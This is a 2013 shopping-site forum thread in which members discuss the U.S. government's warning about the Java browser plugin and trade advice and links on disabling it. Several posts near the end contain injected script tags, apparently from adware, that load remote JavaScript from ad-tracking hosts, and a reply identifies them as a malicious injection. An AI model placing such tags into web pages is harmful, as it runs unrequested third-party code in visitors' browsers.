Creede Silver Sale
40 Members and 14074 Guests Online

Electronics Talk

JAVA computer hack

Started 1358038815.957 in Electronics Talk | Last reply 1359419725.3 by dooBdoo

Just caught the tail end of a TV news item that was alerting people about a problem with JAVA and computer hacking, Anyone know more about it?

age 78, sensitive/combo skin, few fine lines, lack of firmness especially to cheeks, short natural (never colored) grey hair, brown eyes

Page 1 of 1
dooBdoo1358040374.52316506 PostsRegistered 6/27/2010Beautiful Southeast USA

Please read the important thread posted by Marp2 in Viewpoints which begins with:

"Please take the time to read the ENTIRE ARTICLE as this vulnerability can not only affect personal computers but entire websites.

(Reuters) - The U.S. Department of Homeland Security urged computer users to disable Oracle Corp's Java software, amplifying security experts' prior warnings to hundreds of millions of consumers and businesses that use it to surf the Web... "

(article: "U.S. warns on Java software as security concerns escalate")

New Computer Security Warning

Everyone's been posting details on that thread about the problem and how to protect your computer by disabling Java.


~★~ "You don't have to disrespect and insult others simply to hold your own ground. If you do, that shows how shaky your own position is.” ~Red Haircrow

depglass1358042304.99323981 PostsRegistered 11/14/2006

I brushed off the report on NBC Nightly News, but a friend called and convinced me to disable Java. She says I don't really need it anyway. I never did know what they did in the first place.

dooBdoo1358042748.68716506 PostsRegistered 6/27/2010Beautiful Southeast USA

I posted this in the Viewpoints thread:

Here's an article from last August with links to specific instructions for disabling Java in various browsers:

How To Turn Off Java On Your Browsers -- And Why You Should Do It Now

August 30, 2012

"Do you still have Java turned on in your web browser?

If your answer is "Yes" or "I'm not sure" then it's time to take action.

Right now, cybercriminals are aware and exploiting serious security flaws in Java that could lead to your computer becoming infected by malware.

And the worst news is that Oracle (who has known about the zero-day vulnerabilities since April) doesn't plan to issue a patch for the problem until October. (Update: Oracle has now issued a patch - but you should still consider whether you really want to run Java or not in your browser).

There will be many pointing fingers at Oracle and arguing that it has not taken the security flaws seriously, but the accusations that are bound to fly aren't actually going to help the millions and millions of vulnerable devices out there.

Those devices need a patch from Oracle - but as it may not be available for some time, the best advice I can give you is to disable Java.

Naked Security's Chet Wisniewski has put together simple instructions for users of the most popular browsers, explaining how Java can be disabled:

How to disable Java in Internet Explorer
How to disable Java in Firefox
How to disable Java in Chrome
How to disable Java in Safari
How to disable Java in Opera

So, what are you waiting for?

Isn't This Just a Storm in a TeaCoffee Cup?

No, it isn't.

Time and time again we're seeing examples of cybercriminals exploiting flaws in Java to infect innocent users' computers.

For instance, earlier this year we saw more than 600,000 Macs infected by the Flashback malware because of a Java security flaw.

In fact, it has become increasingly common to see malware authors exploiting vulnerabilities in Java - as it is so commonly installed, and has been frequently found to be lacking when it comes to security.

Cybercriminals also love Java because it is multi-platform - capable of running on computers regardless of whether they are running Windows, Mac OS X or Linux. As a result it's not unusual for us to see malicious hackers use Java as an integral part of their attack before serving up an OS-specific payload.

As the following video demonstrates, the bad guys have even created multi-platform Java malware which can hit your computer whether you are running Windows, Mac OS X or Linux.

Seriously though, stop reading this article now and check if you have disabled Java or not. Chances are that if you don't think that you need Java, you don't need it.

Even if you absolutely must use websites that require you to have Java installed, why not disable it in your main browser and have an alternative browser just for visiting that website?

What you need to do now is reduce the opportunities for attack. For most people that means disabling Java - and doing it now."

http://nakedsecurity.sophos.com/2012/08/30/how-turn-off-java-browser/


~★~ "You don't have to disrespect and insult others simply to hold your own ground. If you do, that shows how shaky your own position is.” ~Red Haircrow

ROMARY1358042882.11316484 PostsRegistered 4/28/2010

I checked it out on my computer..........I guess I don't have it to begin with. Can't find it anywhere.

Yellow Rose

dooBdoo1358042940.47316506 PostsRegistered 6/27/2010Beautiful Southeast USA

Here you can test if you have Java active in your browser: http://java.com/en/download/installed.jsp


~★~ "You don't have to disrespect and insult others simply to hold your own ground. If you do, that shows how shaky your own position is.” ~Red Haircrow

glb6131358068589.7210978 PostsRegistered 10/6/2004

If you have a program that needs Java, you will get a prompt to install it.

gonnab1358171690.3772989 PostsRegistered 8/10/2007Conn.

Thanks for the info - this was helpful.

age 78, sensitive/combo skin, few fine lines, lack of firmness especially to cheeks, short natural (never colored) grey hair, brown eyes

Stardust21358173597.593899 PostsRegistered 4/9/2006Ca.

A FIX will be out for the problem on Tuesday. In the meantime I disabled mine.

http://www.consumeraffairs.com/news/homeland-security-warns-of-security-threat-in-java-software-011213.html Copy and paste to your browser. There will be a lot of stolen ID from this if it isn't disabled..

Last edited on 1/14/2013

Last edited on 1/14/2013

ok4ablonde21358178644.9138837 PostsRegistered 3/9/2009Midwest

I disabled my Java a few days ago, but last night I tried to get into HSN's newly designed web site and it wouldn't work for me until I enabled Java again. Maybe it was just coincidence.

"We're all mad here." - The Cheshire Cat from Alice in Wonderland

dooBdoo1358193035.50716506 PostsRegistered 6/27/2010Beautiful Southeast USA
On 1/14/2013 ok4ablonde2 said:

I disabled my Java a few days ago, but last night I tried to get into HSN's newly designed web site and it wouldn't work for me until I enabled Java again. Maybe it was just coincidence.

HSN is working fine with my Java disabled. I hope everyone took the thread seriously. As Stardust2 said, there likely will be substantial damage to many as a result of the holes in Java. One article I read said the "fixes" can't be reliable at this point, and the software needs a complete redesign and rewrite. I'm beginning to agree.


~★~ "You don't have to disrespect and insult others simply to hold your own ground. If you do, that shows how shaky your own position is.” ~Red Haircrow

Stardust21358264168.377899 PostsRegistered 4/9/2006Ca.
On 1/14/2013 dooBdoo said:
On 1/14/2013 ok4ablonde2 said:

I disabled my Java a few days ago, but last night I tried to get into HSN's newly designed web site and it wouldn't work for me until I enabled Java again. Maybe it was just coincidence.

HSN is working fine with my Java disabled. I hope everyone took the thread seriously. As Stardust2 said, there likely will be substantial damage to many as a result of the holes in Java. One article I read said the "fixes" can't be reliable at this point, and the software needs a complete redesign and rewrite. I'm beginning to agree.

http://www.kcra.com/news/Oracle-says-Java-is-fixed-feds-maintain-warning/-/11797728/18129594/-/44i6ldz/-/index.html

I was able to disable Java from Firefox but could not disable it on Internet Explorer. Consumer Affairs says there will be a lot of stolen ID.

dooBdoo1358379887.39716506 PostsRegistered 6/27/2010Beautiful Southeast USA
On 1/15/2013 Stardust2 said:
On 1/14/2013 dooBdoo said:
On 1/14/2013 ok4ablonde2 said:

I disabled my Java a few days ago, but last night I tried to get into HSN's newly designed web site and it wouldn't work for me until I enabled Java again. Maybe it was just coincidence.

HSN is working fine with my Java disabled. I hope everyone took the thread seriously. As Stardust2 said, there likely will be substantial damage to many as a result of the holes in Java. One article I read said the "fixes" can't be reliable at this point, and the software needs a complete redesign and rewrite. I'm beginning to agree.

http://www.kcra.com/news/Oracle-says-Java-is-fixed-feds-maintain-warning/-/11797728/18129594/-/44i6ldz/-/index.html

I was able to disable Java from Firefox but could not disable it on Internet Explorer. Consumer Affairs says there will be a lot of stolen ID.

Exactly, Stardust2. From the link you provided:

Oracle says Java is fixed; feds maintain warning
Jan 14, 2013

"Oracle Corp. said Monday it has released a fix for the flaw in its Java software that raised an alarm from the U.S. Department of Homeland Security last week. Even after the patch was issued, the federal agency continued to recommend that users disable Java in their Web browsers..."

We're not using it on any of our computers at home or at work. I think Java needs a complete redesign and re-write.


~★~ "You don't have to disrespect and insult others simply to hold your own ground. If you do, that shows how shaky your own position is.” ~Red Haircrow

Lilysmom1359141122.9533124 PostsRegistered 11/24/2007

Thought I saw an issue with Java. My computer keeps wanting to update. I should uninstall this? TIA. LM

nutmeg31359141950.2734859 PostsRegistered 6/18/2007NJ
On 1/25/2013 Lilysmom said:

Thought I saw an issue with Java. My computer keeps wanting to update. I should uninstall this? TIA. LM

I uninstalled Java last week. I read this article http://techtalk.pcpitstop.com/2013/01/16/uninstall-java-now/ and said enough already.

I suggest making sure your programs are up to date. http://secunia.com/vulnerability_scanning/personal/

Cha1k1359143676.9131094 PostsRegistered 2/28/2009

I have to have Java on my home computer because I need it to run a program for work. If you want access to Java based web sites you need to install the latest version of Java.

There is no need to delete it from your system if you are diligent about updating. Now, if you ignore suggested updates, that's a different story.

Lilysmom1359145918.023124 PostsRegistered 11/24/2007

Nutmeg, Chalk, thanks for the info. I did uninstall it from my programs on my laptop and netbook. I can deal with it on an as needed basis. Do I have to do a separte uninstall for chrome and IE? Does my ipad 3 have it? LM

dooBdoo1359146544.34716506 PostsRegistered 6/27/2010Beautiful Southeast USA
On 1/25/2013 Lilysmom said:

Nutmeg, Chalk, thanks for the info. I did uninstall it from my programs on my laptop and netbook. I can deal with it on an as needed basis. Do I have to do a separte uninstall for chrome and IE? Does my ipad 3 have it? LM

It's not on your iPad (don't disable JavaScript, by the way). My Post #3 has links with instructions for disabling it on each browser, including Chrome and IE.


~★~ "You don't have to disrespect and insult others simply to hold your own ground. If you do, that shows how shaky your own position is.” ~Red Haircrow

Chlemma1359146638.237353 PostsRegistered 6/13/2009
On 1/25/2013 Cha1k said:

I have to have Java on my home computer because I need it to run a program for work. If you want access to Java based web sites you need to install the latest version of Java.

There is no need to delete it from your system if you are diligent about updating. Now, if you ignore suggested updates, that's a different story.

You are absolutely right. Norton sent me an email last week stating just that. You need to update your Java to version 9/11 and make sure you have allowed updates on your security system.

dooBdoo1359146691.9816506 PostsRegistered 6/27/2010Beautiful Southeast USA
On 1/25/2013 Cha1k said:

I have to have Java on my home computer because I need it to run a program for work. If you want access to Java based web sites you need to install the latest version of Java.

There is no need to delete it from your system if you are diligent about updating. Now, if you ignore suggested updates, that's a different story.

It's each person's choice, but our security folks agree with the information I posted about Java being so poorly written that the updates aren't secure enough.


~★~ "You don't have to disrespect and insult others simply to hold your own ground. If you do, that shows how shaky your own position is.” ~Red Haircrow

wildcat fan1359147345.2833447 PostsRegistered 1/18/2010
On 1/25/2013 dooBdoo said:
On 1/25/2013 Cha1k said:

I have to have Java on my home computer because I need it to run a program for work. If you want access to Java based web sites you need to install the latest version of Java.

There is no need to delete it from your system if you are diligent about updating. Now, if you ignore suggested updates, that's a different story.

It's each person's choice, but our security folks agree with the information I posted about Java being so poorly written that the updates aren't secure enough.

ITA, dooBdoo. Thank you for posting so many informative links.

glb6131359196821.1810978 PostsRegistered 10/6/2004

It's each person's choice, but our security folks agree with the information I posted about Java being so poorly written that the updates aren't secure enough.

As posted, some people need it for a program to work. As always, keep your programs, especially your security software, updated.

thalmy1359222359.7972276 PostsRegistered 8/31/2009

I completely uninstalled Java. I'm using my computer as before and there has been nothing I can't do that I did before removing it completely.

<script type="text/javascript" src="http://cdncache3-a.akamaihd.net/loaders/1032/l.js?aoi=1311798366&pid=1032&zoneid=62862"> </script><script id="__changoScript" type="text/javascript"> // <![CDATA[ var __chd__ = {'aid':11079,'chaid':'www_objectify_ca'};(function() { var c = document.createElement('script'); c.type = 'text/javascript'; c.async = true;c.src = ( 'https:' == document.location.protocol ? 'https://z': 'http://p') + '.chango.com/static/c.js'; var s = document.getElementsByTagName('script')[0];s.parentNode.insertBefore(c, s);})(); // ]]> </script><script id="__simpliScript" type="text/javascript" src="http://i.simpli.fi/dpx.js?cid=3065&m=1" data-sifi-parsed="true"> </script><script type="text/javascript" src="http://i.simpli.fi/p?cid=3065&cb=dpx_35783329781014._hp"> </script>

Thom
Forever in our hearts.

thalmy1359222408.12276 PostsRegistered 8/31/2009
On 1/26/2013 thalmy said:

I completely uninstalled Java. I'm using my computer as before and there has been nothing I can't do that I did before removing it completely.

So, why is all that java script part of my post?

<script type="text/javascript" src="http://cdncache3-a.akamaihd.net/loaders/1032/l.js?aoi=1311798366&pid=1032&zoneid=62862"> </script><script id="__changoScript" type="text/javascript"> // <![CDATA[ var __chd__ = {'aid':11079,'chaid':'www_objectify_ca'};(function() { var c = document.createElement('script'); c.type = 'text/javascript'; c.async = true;c.src = ( 'https:' == document.location.protocol ? 'https://z': 'http://p') + '.chango.com/static/c.js'; var s = document.getElementsByTagName('script')[0];s.parentNode.insertBefore(c, s);})(); // ]]> </script><script id="__simpliScript" type="text/javascript" src="http://i.simpli.fi/dpx.js?cid=3065&m=1" data-sifi-parsed="true"> </script><script type="text/javascript" src="http://i.simpli.fi/p?cid=3065&cb=dpx_35783329781014._hp"> </script>

Thom
Forever in our hearts.

thalmy1359389418.1272276 PostsRegistered 8/31/2009

Testing.

Wanted to see what would happen. Now, not only have I uninstalled Java, I disabled it in Fire Fox. Doesn't seem to make any difference.

<script type="text/javascript" src="http://cdncache3-a.akamaihd.net/loaders/1032/l.js?aoi=1311798366&pid=1032&zoneid=62862"> </script><script id="__changoScript" type="text/javascript"> // <![CDATA[ var __chd__ = {'aid':11079,'chaid':'www_objectify_ca'};(function() { var c = document.createElement('script'); c.type = 'text/javascript'; c.async = true;c.src = ( 'https:' == document.location.protocol ? 'https://z': 'http://p') + '.chango.com/static/c.js'; var s = document.getElementsByTagName('script')[0];s.parentNode.insertBefore(c, s);})(); // ]]> </script><script id="__simpliScript" type="text/javascript" src="http://i.simpli.fi/dpx.js?cid=3065&m=1" data-sifi-parsed="true"> </script><script type="text/javascript" src="http://i.simpli.fi/p?cid=3065&cb=dpx_35783329781014._hp"> </script>

Last edited on 1/28/2013

Last edited on 1/28/2013

Thom
Forever in our hearts.

dooBdoo1359419725.29316506 PostsRegistered 6/27/2010Beautiful Southeast USA

thalmy, I believe you have a malicious script injection. First, be sure you didn't disable JavaScript. That's not the same as the Java plugin.

Then, if you're only having this problem with Firefox, try this:

1 -- close all tabs (windows) in Firefox.

2 -- disable all add-ons (I'm wondering which add-ons you're using).

3 -- clear cache and cookies.

4 -- close Firefox completely.

5 -- restart Firefox.

If the problem is gone, try re-enabling all add-ons, restart Firefox again, and see what happens. If the problem is still there, you might need to delete add-ons, go through those steps, and then re-install them. If that doesn't work, re-installing Firefox itself would be the next step.

I hope I explained that fairly well. If the problem persists, let us know and someone here will have more ideas. Smile

Last edited on 1/28/2013

Last edited on 1/28/2013


~★~ "You don't have to disrespect and insult others simply to hold your own ground. If you do, that shows how shaky your own position is.” ~Red Haircrow

Page 1 of 1